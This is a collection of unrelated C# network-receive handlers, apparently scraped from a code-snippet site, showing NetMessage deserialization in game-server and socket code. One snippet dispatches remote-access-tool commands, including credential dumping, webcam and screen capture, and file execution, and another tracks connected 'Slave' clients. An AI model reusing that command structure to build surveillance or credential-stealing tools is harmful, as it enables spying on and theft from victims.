private void DoReceiveInMain() { m_RecvBufQueue.Switch(); while (!m_RecvBufQueue.Empty()) { var recvBufferRaw = m_RecvBufQueue.Pop(); int ret = m_Kcp.Input(recvBufferRaw, recvBufferRaw.Length); //收到的不是一个正确的KCP包 if (ret < 0) { Debuger.LogError("收到不正确的KCP包!Ret:{0}", ret); return; } m_NeedKcpUpdateFlag = true; for (int size = m_Kcp.PeekSize(); size > 0; size = m_Kcp.PeekSize()) { var recvBuffer = new byte[size]; if (m_Kcp.Recv(recvBuffer) > 0) { NetMessage msg = new NetMessage(); msg.Deserialize(recvBuffer, size); m_listener.OnReceive(this, msg); } } } }
/// <summary> /// /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void ClientReceive(object sender, NetMQSocketEventArgs e) { UpdateLastReceived(); SetConnected(); var frames = m_client.ReceiveMultipartMessage(); var message = NetMessage.Deserialize(frames[0].Buffer); message.Match() .With <DoYourDutyMessage>(DoYourDuty) .With <PingMessage>(m => Send(new PongMessage())) .With <NavigateToFolderMessage>(NavigateToFolder) .With <DownloadFilePartMessage>(DownloadFilePart) .With <UploadFileMessage>(UploadFile) .With <DeleteFileMessage>(DeleteFile) .With <StartScreenCaptureMessage>(ScreenCapture.Instance.StartScreenCapture) .With <StopScreenCaptureMessage>(ScreenCapture.Instance.StopScreenCapture) .With <ExecuteFileMessage>(ExecuteFile) .With <StartCredentialsMessage>(DumpCredentials) .With <StartWebcamCaptureMessage>(Webcam.Instance.StartScreenCapture) .With <StopWebcamCaptureMessage>(Webcam.Instance.StopScreenCapture) .Default(m => SendFailedStatus(message.WindowId, "Message parsing", $"Unknow message {m.GetType().Name}")); #if DEBUG if (message.GetType() != typeof(PingMessage)) { Console.WriteLine(message.GetType().Name); } #endif }
public void OnReceive(ISession session, byte[] bytes, int len) { NetMessage msg = new NetMessage(); msg.Deserialize(bytes, len); if (session.IsAuth()) { if (msg.head.cmd == 0) { RPCMessage rpcmsg = PBSerializer.NDeserialize <RPCMessage>(msg.content); HandleRPCMessage(session, rpcmsg); } else { HandlePBMessage(session, msg); } } else { if (msg.head.cmd == m_authCmd) { HandlePBMessage(session, msg); } else { Debuger.LogWarning("收到未鉴权的消息! cmd:{0}", msg.head.cmd); } } }
/// <summary> /// /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void Server_ReceiveReady(object sender, NetMQSocketEventArgs e) { NetMQMessage mqmessage = null; if (!e.Socket.TryReceiveMultipartMessage(ref mqmessage)) { return; } var identity = mqmessage.First.Buffer; var clientId = BitConverter.ToInt32(identity, 1); var message = NetMessage.Deserialize(mqmessage.Last.Buffer); Slave slave; if (!m_slaveById.ContainsKey(clientId)) { m_slaveById.Add(clientId, slave = new Slave(identity, clientId)); } else { slave = m_slaveById[clientId]; } FireSlaveIncommingMessage(slave, message); }
public void OnReceive(ISession session, byte[] bytes, int len) { NetMessage msg = new NetMessage(); msg.Deserialize(bytes, len); if (session.IsAuth()) { if (msg.Head.cmd == 0) //RPC { RPCMessage rpcMessage = ProtoBuffUtility.Deserialize <RPCMessage>(msg.content); HandleRPCMessage(session, rpcMessage); } else //Proto { HandlePrptoMessage(session, msg); } } else { if (msg.Head.cmd == authCmd) { HandlePrptoMessage(session, msg); } else { Debuger.LogWarning("收到未授权的消息! cmd:{0}", msg.Head.cmd); } } }
private void DoReceiveInMain() { //主线程 m_RecvBufQueue.Switch(); while (!m_RecvBufQueue.Empty()) { var recvBufferRaw = m_RecvBufQueue.Pop(); int ret = m_Kcp.Input(recvBufferRaw, recvBufferRaw.Length); //收到的不是一个正确的KCP包 if (ret < 0) { Debuger.LogError("收到不正确的KCP包!Ret:{0}", ret); return; } m_NeedKcpUpdateFlag = true; for (int size = m_Kcp.PeekSize(); size > 0; size = m_Kcp.PeekSize()) { var recvBuffer = new byte[size]; if (m_Kcp.Recv(recvBuffer) > 0) { NetMessage msg = new NetMessage(); msg.Deserialize(recvBuffer, size); if (msg.head.sid == 0) { var errmsg = PBSerializer.NDeserialize <NetErrorMessage>(msg.content); this.LogWarning("服务器返回错误:{0},{1}", errmsg.code, errmsg.info); HandleServerError(errmsg.code); onServerError.InvokeSafe(this, errmsg.code, errmsg.info); } else { //更新SessionId if (Id != msg.head.sid) { Id = msg.head.sid; LOG_TAG = "KcpConnection[" + Id + "," + m_localPort + "]"; this.LogWarning("SessionId发生变化:{0}", Id); } onReceive.InvokeSafe(msg); } } } } }
static void Main(string[] args) { var msg = new IdentificationMessage() { Username = "******", Password = "******", }; var bytes = msg.Serialize(); var msg1 = NetMessage.Deserialize(bytes); }
private void OnReceiveCompleted(object sender, SocketAsyncEventArgs e) { this.LogVerbose(e.SocketError.ToString()); if (e.SocketError != SocketError.Success) { Disconnect(); OnReceiveError((int)NetErrorCode.UnkownError, e.SocketError.ToString()); return; } if (e.BytesTransferred < 1) { Disconnect(); OnReceiveError((int)NetErrorCode.UnkownError, "收到的字节为0"); return; } if (m_bufferReceive.Capacity < m_bufferReceive.Length + e.BytesTransferred) { //扩容 m_bufferReceive.AdjustCapacity((m_bufferReceive.Length + e.BytesTransferred) * 2); } m_bufferReceive.SetPositionToLength(); m_bufferReceive.WriteBytes(e.Buffer, 0, e.BytesTransferred); this.LogVerbose("Received Length:{0}", m_bufferReceive.Length); while (m_bufferReceive.Length > 0) { m_bufferReceive.Position = 0; NetMessage msg = new NetMessage(); if (msg.Deserialize(m_bufferReceive)) { m_bufferReceive.Arrangement(); lock (m_queueReceive) { m_queueReceive.Enqueue(msg); } } else { this.LogVerbose("Cannot Deserialize One Message!"); break; } } ReceiveInternal(); }
private void ReadCallback(IAsyncResult ar) { TcpClient tcp = (TcpClient)ar.AsyncState; try { NetMessage remote = this.Clients.First(c => c.Value.Equals(tcp)).Key; NetworkStream inStream = tcp.GetStream(); int count = inStream.EndRead(ar); if (count <= 0) { return; } //converte os bytes para o tipo RemoteClient var tempBuffer = new byte[count]; Buffer.BlockCopy(this.bufferIn, 0, tempBuffer, 0, count); remote = NetMessage.Deserialize(tempBuffer); this.Clients.First(c => c.Value.Equals(tcp)).Key.Type = remote.Type; switch (remote.Type) { case NetMessageType.Update: Broadcast(remote); break; case NetMessageType.ClientReady: break; case NetMessageType.Disconnect: this.Clients.Remove(remote); break; } //Console.WriteLine("Recebido: {0}", remote.ToString()); inStream.BeginRead(this.bufferIn, 0, tcp.ReceiveBufferSize, ReadCallback, tcp); } catch (Exception) { //Console.WriteLine("Cliente desconectado!"); lock (this.Clients) { this.Clients.Remove(this.Clients.FirstOrDefault(c => c.Value.Equals(tcp)).Key); } } }
private void OnReceive(byte[] bytes, int len) { NetMessage msg = new NetMessage(); msg.Deserialize(bytes, len); if (msg.Head.cmd == 0) { RPCMessage rpcmsg = ProtoBuffUtility.Deserialize <RPCMessage>(msg.content); HandleRPCMessage(rpcmsg); } else { HandlePrptoMessage(msg); } }
private void OnReceive(byte[] bytes, int len) { NetMessage msg = new NetMessage(); msg.Deserialize(bytes, len); if (msg.head.cmd == 0) { RPCMessage rpcmsg = PBSerializer.NDeserialize <RPCMessage>(msg.content); HandleRPCMessage(rpcmsg); } else { HandlePBMessage(msg); } }
private void OnReceiveCompleted(object sender, SocketAsyncEventArgs e) { this.LogVerbose(e.SocketError.ToString()); if (e.SocketError != SocketError.Success) { this.LogWarning("接收出错!{0}", e.SocketError); onReceiveError.InvokeSafe(this, (int)NetErrorCode.SocketError, e.SocketError.ToString()); ReceiveInternal(); return; } if (e.BytesTransferred < 1) { this.LogWarning("接收出错!{0}", e.SocketError); onReceiveError.InvokeSafe(this, (int)NetErrorCode.SocketError, e.SocketError.ToString()); ReceiveInternal(); return; } m_bufferReceive.Attach(e.Buffer, e.BytesTransferred); NetMessage msg = new NetMessage(); if (msg.Deserialize(m_bufferReceive)) { lock (m_queueReceive) { m_queueReceive.Enqueue(msg); } } else { this.LogError("反序列化失败!"); onReceiveError.InvokeSafe(this, (int)NetErrorCode.DeserializeError, "反序列化失败"); } ReceiveInternal(); }
private void OnReceiveCompleted(object sender, SocketAsyncEventArgs e) { this.Log(e.SocketError.ToString()); if (e.SocketError != SocketError.Success) { this.LogWarning(e.SocketError.ToString()); } else { if (e.BytesTransferred == 0) { this.LogWarning("收到的数据长度为0"); } else { m_bufferReceive.Attach(e.Buffer, e.BytesTransferred); NetMessage msg = new NetMessage(); if (msg.Deserialize(m_bufferReceive)) { lock (m_mapSession) { UdpSession session = null; if (msg.head.sid == 0) { session = new UdpSession(NewSessionID(), m_pool, m_listener); m_mapSession.Add(session.Id, session); } else { session = m_mapSession[msg.head.sid]; if (session == null) { //对于UDP,可以重新分配SessionId session = new UdpSession(NewSessionID(), m_pool, m_listener); m_mapSession.Add(session.Id, session); } } if (session != null) { session.Active(m_socket, (IPEndPoint)e.RemoteEndPoint); session.DoReceiveInGateway(msg); } else { this.LogWarning("无效的包! sid:{0}", msg.head.sid); //需要返回给客户端,Session无效了 UdpSession.ReturnErrorMessage(m_socket, (IPEndPoint)e.RemoteEndPoint, NetErrorCode.SessionExpire, "Session Expired!"); } } } else { this.LogError("反序列化失败!"); } } } this.ReceiveAsync(); }